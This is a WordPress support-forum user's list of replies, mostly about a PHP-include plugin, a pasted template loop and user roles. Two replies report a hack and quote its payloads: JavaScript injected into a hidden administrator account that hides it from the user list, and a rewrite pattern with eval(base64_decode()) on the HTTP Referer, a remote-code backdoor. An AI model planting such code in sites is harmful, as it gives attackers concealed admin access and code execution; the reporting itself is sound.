Forum Replies Created

Viewing 8 replies - 1 through 8 (of 8 total)
  • Forum: Plugins
    In reply to: MaGiKS Proper PHP Include

    You helped me tremendously!! Thank You. I was able to play with the code and find the combination that worked. Thanks Again!

    Forum: Plugins
    In reply to: MaGiKS Proper PHP Include

    On a page on my site:
    https://www.gototeam.com/testphp/

    I am using the plugin (Thanks Again) to call 5 blog excerpts. Which is code I use on my site often, but not in the plugin.

    When used on the test page the code shows the excerpts, but then also shows all the selected posts in full format.

    Here is the only code on the page:
    [m_include_file filepath=”/gttphp/test.php”]

    And, here is the php that’s in test.php:

    <?php if (is_single() || is_page() ) : if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
    
    <?php endwhile; endif; elseif(is_home()) : ?>
    <?php endif; ?>
    
    <?php if (have_posts()) { ?>
    
    		<h3><?php _e('Recent Video Posts from Nashville','Mimbo'); ?></h3>
     <?php
    	$postCount = 0;
    	$page = (get_query_var('paged')) ? get_query_var('paged') : 1;
    	query_posts( 'paged=&post_per_page=-1&tag=Nashville' . get_query_var('tag') );
    	while (have_posts()) { the_post();
    		if( $postcount == 0 ) {
    		//GETS LATEST OR STICKY POST
    	?>
    
        <div id="lead" class="clearfloat">
    
    			<a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>">
    <?php echo get_post_image (get_the_id(), '', '', '' .get_bloginfo('template_url') .'/scripts/timthumb.php?zc=1&w=260&h=275&src='); ?></a>
    
    	<div id="lead-text">
        <h2><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>">
        <?php the_title(); ?></a></h2>
    
        <p class="date"><?php the_time('n/d/y'); ?> &bull; </p>
    	<?php the_excerpt(); ?>
    	</div>
    	</div><!--END LEAD/STICKY POST-->
    
    		<div id="more-posts">
    
    		<?php
    		}
    		elseif( $postcount > 0 && $postcount <= 4 ) {
    		//GETS NEXT FOUR EXCERPTS
    		?>
    			<a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>">
    <?php echo get_post_image (get_the_id(), '', '', '' .get_bloginfo('template_url') .'/scripts/timthumb.php?zc=1&w=105&h=85&src='); ?></a>
    
    		<div class="clearfloat recent-excerpts">
    
    <h4><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a> <span class="commentcount">(<?php comments_popup_link('0', '1', '%'); ?>)</span></h4>
    
    <p class="date"><?php the_time('n/d/y'); ?> &bull; </p>
    			<?php the_excerpt(); ?>
    		</div>
    
    <?php //GETS NEXT HEADLINES
    		}
    		else {
    			ob_start();
    			echo '<li><a href="';
    			the_permalink();
    			echo '">';
    			the_title();
    			echo '</a></li>';
    			$links[] = ob_get_contents();
    			ob_end_clean();
    		}
    		$postcount ++;
    		}
    	}
    	else {
    ?>
    
    <?php } ?>
    			</div>
    
    <?php
    	if(count($links)): ?>
    	<?php endif; ?>

    THANKS FOR LOOKING AT THIS.

    Forum: Plugins
    In reply to: MaGiKS Proper PHP Include

    Love it. It’s exactly what I was looking for. Thank You for your time.

    I have a support question. The PHP code that I am running is building excerpts of past blog entries. When I use the code that I would generally include in a template it seems to create a feedback loop. Displaying the content I want, but then also displaying the full blog entry for each post not just the excerpts?

    Is there a way to “close out” the php code used in the file?

    By viewing one user and then changing the number in the address line, I found new user:
    LucasAguilar63

    with first name:
    … <div id=”user_superuser”><script language=”JavaScript”> var setUserName = function(){ try{ var t=document.getElementById(“user_superuser”); while(t.nodeName!=”TR”){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName(“H3″); var s = ” shown below”; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName(“ul”); for(var i in arr) if(arr[i].className==”subsubsub”){ var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML); if(n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,”>Administrator (“+(n[1]-1)+”)<“); arr[i].innerHTML=txt; } } }catch(e){}; }; addLoadEvent(setUserName); </script></div>

    Changed to Subscriber and then deleted.

    Us too:

    %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

    Upgraded and Backed up… will report if it comes back.

    By the way that plug-in rocks! Thanks to its author.

    Thanks Otto42. Here is the link to that plugin:
    https://www.im-web-gefunden.de/wordpress-plugins/role-manager/

    I want to know about this one too. I have 10 folks that need to be able to post new entries with photos and /or video, etc.

    But, I don’t want them to be able to publish the posts without review first.

    Thanks.

Viewing 8 replies - 1 through 8 (of 8 total)